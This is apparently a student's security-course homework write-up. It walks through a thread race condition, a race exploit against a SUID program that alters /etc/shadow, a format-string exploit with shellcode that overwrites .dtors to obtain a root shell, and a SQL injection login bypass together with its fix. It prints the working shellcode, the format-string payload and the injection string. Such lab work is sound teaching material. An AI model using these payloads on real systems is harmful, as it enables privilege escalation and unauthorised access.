1. Write a program with a race condition, either in threads, processes or signals. (The flaw need not be exploitable) Explain the software defect, and why it forms a race condition.

**The code will create four (4) threads an in each thread increment a counter. The majority of the time the code will create a thread and increase the counter before the main function creates another thread; however, there is a possibility that a later thread can read the counter before an earlier thread has time to finish assigning the incremented value. In this case, the final printed value will not be the total number of threads (4), but a lower number.**

**File name: Snyder\_HW\_03\_01.c**

1. Write a program with a race condition in the file system. Demonstrate how to exploit the flaw. You may modify the code somewhat to allow for control of the program’s timing.

**In the Snyder\_HW\_03\_02\_vulp.c file the DELAY can be updated increase/decrease the delay and control the program’s timing.**

**Steps:**

1. **As root, backup the shadow file**
   1. **cd /etc**
   2. **cp shadow shadow\_bak**
2. **As root, change the permissions of the scripts**
   1. **chmod 774 Snyder\_HW\_03\_02\_check\_shadow.sh**
   2. **chmod 774 Snyder\_HW\_03\_02\_attack\_loop.sh**
   3. **chmod 774 Snyder\_HW\_03\_02\_vulp\_loop.sh**
3. **As root, compile the Snyder\_HW\_03\_02\_vulp program:**
   1. **gcc –o Snyder\_HW\_03\_02\_vulp Snyder\_HW\_03\_02\_vulp.c**
4. **As root, change the ownership and permissions of the program**
   1. **chown root:root Snyder\_HW\_03\_02\_vulp**
   2. **chmod 4755 Snyder\_HW\_03\_02\_vulp**
5. **As a regular user, create a blank file name in /tmp called UserOwnerFile**
6. **In separate windows do the following:**
   1. **Run the password loop:**
      1. **./Snyder\_HW\_03\_02\_check\_shadow.sh**
   2. **Run the attack loop:**
      1. **sudo ./Snyder\_HW\_03\_02\_attack\_loop.sh**
   3. **Run the vulp loop:**
      1. **./Snyder\_HW\_03\_02\_vulp\_loop.sh**
7. **When the exploit is successful all window will cease. Verify the shadow file has been changed.**

**File names: Snyder\_HW\_03\_02\_check\_shadow.sh; Snyder\_HW\_03\_02\_attack\_loop.sh; Snyder\_HW\_03\_02\_vulp\_loop.sh; Snyder\_HW\_03\_02\_vulp.c; Snyder\_HW\_03\_02\_input**

1. Write a program that has a format string flaw. Make the program SUID root, and exploit it to obtain a root shell. Overwrite the .dtors section to start the execution of the shellcode.

**Steps:**

1. **Disable ASLR:**
   1. **sudo –i**
   2. **sysctl –w kernel.randomize\_va\_space=0**
2. **Compile the Snyder\_HW\_03\_03 program**
   1. **gcc -g Snyder\_HW\_03\_03.c –o Snyder\_HW\_03\_03**
3. **Verify the .dtors section of the Snyder\_HW\_03\_03 program**
   1. **objdump –h ./Snyder\_HW\_03\_03**
   2. **See Snyder\_HW\_03\_03\_dtors.png**
4. **Find the address of the .dtors section**
   1. **objdump –s –j .dtors ./Snyder\_HW\_03\_03**
   2. **See Snyder\_HW\_03\_03\_dtors.png**
5. **Find the address of argv[1] and its decimal equivalent**
   1. **for ((i = 250; i < 330; i++)); do echo -n “$i: ” && ./level09 “%$i\$s” && echo -n $’\n’ ; done**
   2. **See Snyder\_HW\_03\_03\_arg.png**
6. **Use the address where command line arguments are stored to view argv[1]**
   1. **./Snyder\_HW\_03\_03 %310\$x**
   2. **See Snyder\_HW\_03\_03\_arg.png**
7. **For the payload:**
   1. **8 bytes in length of 2 addresses in .dtors:**
      1. **\xda\x94\x04\x08\xd8\x94\x04\x08**
   2. **Shellcode:**
      1. **\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80**
   3. **Dealing with argv[1]:**
      1. **Take the address of argv[1] and separate it into 2 parts:**
         1. **0xbfd3 = 49107**
         2. **0x858a = 34186**
      2. **Write the smaller number first with a width specifier of 5, and one of 5 for the last 2 bytes**
         1. **49107-34186=14921**
      3. **Since we already have 33 bites in the payload, subtract that from 34186 to get the size we need to write**
         1. **34186-33=34153**
      4. **%34153x%5\$hn**
      5. **%#####x%6\$hn**
      6. **####%310\$hx**
   4. **To get the address of the tmpBuf:**
      1. **./Snyder\_HW\_03\_03 ’\xda\x94\x04\x08\xd8\x94\x04\x08\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80’%34153x%5\$hx#####%310\$hx**
      2. **See Snyder\_HW\_03\_03\_tmpBuf.png**
   5. **Convert to integer:**
      1. **0xf50f = 62735**
   6. **Subtract the number of characters already printed**
      1. **62735-34186=28549**
8. **Run the exploit:**
   1. **./Snyder\_HW\_03\_03 ’\xda\x94\x04\x08\xd8\x94\x04\x08\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80’%34153x%5\$hx28549x%5\$hn**
9. **The result is a shell**
   1. **See Snyder\_HW\_03\_03\_shell.png**

**File names: Snyder\_HW\_03\_03.c; Snyder\_HW\_03\_03\_dtors.png; Snyder\_HW\_03\_03\_arg.png; Snyder\_HW\_03\_02\_tmpBuf.png; Snyder\_HW\_03\_03\_shell.png**

1. Write a program that demonstrates the use of format strings for output functions. It should be a suitable example for an introductory programming course.

**File name: Snyder\_HW\_02\_04.c**

1. Create a web application that uses a MySQL database backend. Demonstrate it.

**To setup the web application (for questions 5-7), follow these steps:**

1. **Turn off magic\_quotes\_gpc**
   1. **sudo vi /etc/php5/apache2/php.ini**
   2. **Find: “magic\_quotes\_gpc = On”**
   3. **Change to: “magic\_quotes\_gpc = Off”**
2. **Restart the apache server**
   1. **sudo service apache2 restart**
3. **Copy the files to the /var/www directory:**
   1. **cp Snyder\_HW\_03\_05\_login.html /var/www/**
   2. **cp Snyder\_HW\_03\_05\_signin.php /var/www/**
   3. **cp Snyder\_HW\_03\_07\_signin\_fixed.php /var/www/**
4. **Setup mysql**
   1. **mysql –u seed**
      1. **create database test\_db;**
      2. **use test\_db;**
      3. **CREATE TABLE Users (user\_id int(9) NOT NULL auto\_increment, user\_name VARCHAR(40) NOT NULL, passwd VARCHAR(40) NOT NULL, PRIMARY KEY(user\_id));**
      4. **INSERT INTO Users (user\_name, passwd) VALUES ('Sal','SalPwd');**
      5. **INSERT INTO Users (user\_name, passwd) VALUES ('Mal','PwdMal');**
5. **Open in Firefox**
   1. **http://localhost/Snyder\_HW\_03\_05\_login.html**

**File names: Snyder\_HW\_03\_05\_login.html; Snyder\_HW\_03\_05\_signin.php; Snyder\_HW\_03\_07\_signin\_fixed.php; Snyder\_HW\_03\_05\_incorrect\_login.png; Snyder\_HW\_03\_05\_incorrect\_login\_msg.png; Snyder\_HW\_03\_05\_correct\_login.png; Snyder\_HW\_03\_05\_correct\_login\_msg.png;**

1. Create a web application that uses a MySQL database backend that suffers from a SQL injection vulnerability. Demonstrate it.

**In the web application, “user\_name” is not sanitized by mysql\_real\_escape\_string. This means a user can type a specifically crafted exploit string that can allow the user to gain access without the correct password.**

**Steps:**

1. **Open the web application in Firefox**
   1. **http://localhost/Snyder\_HW\_03\_05\_login.html**
2. **Update the “User” and “Password” fields with the following exploit string:**
   1. **‘ or ‘’=’**
3. **Press “Log-in”**
4. **Verify Sal (or the first entry in the database) was logged in without using the correct password**

**File names: Snyder\_HW\_03\_06\_exploit.png; Snyder\_HW\_03\_06\_exploit\_msg.png**

1. Correct the flaw in the previous problem by correctly sanitizing the input.

**In the web application, “user\_name” is now sanitized by mysql\_real\_escape\_string. This means even a specially crafted exploit string will not allow the user to gain access without the correct password.**

**Steps:**

1. **Edit Snyder\_HW\_03\_05\_login.html to use the fixed sign-in file:**
   1. **vi Snyder\_HW\_03\_05\_login.html**
   2. **Find: Snyder\_HW\_03\_05\_signin.php**
   3. **Change to: Snyder\_HW\_03\_07\_signin\_fixed.php**
2. **Open the web application in Firefox**
   1. **http://localhost/Snyder\_HW\_03\_05\_login.html**
3. **Update the “User” and “Password” fields with the following exploit string:**
   1. **‘ or ‘’=’**
4. **Press “Log-in”**
5. **Verify nobody was logged in (Sal or Mal)**

**File names: Snyder\_HW\_03\_07\_signing\_fixed.php; Snyder\_HW\_03\_07\_exploit\_fix.png; Snyder\_HW\_03\_07\_exploit\_fix\_msg.png**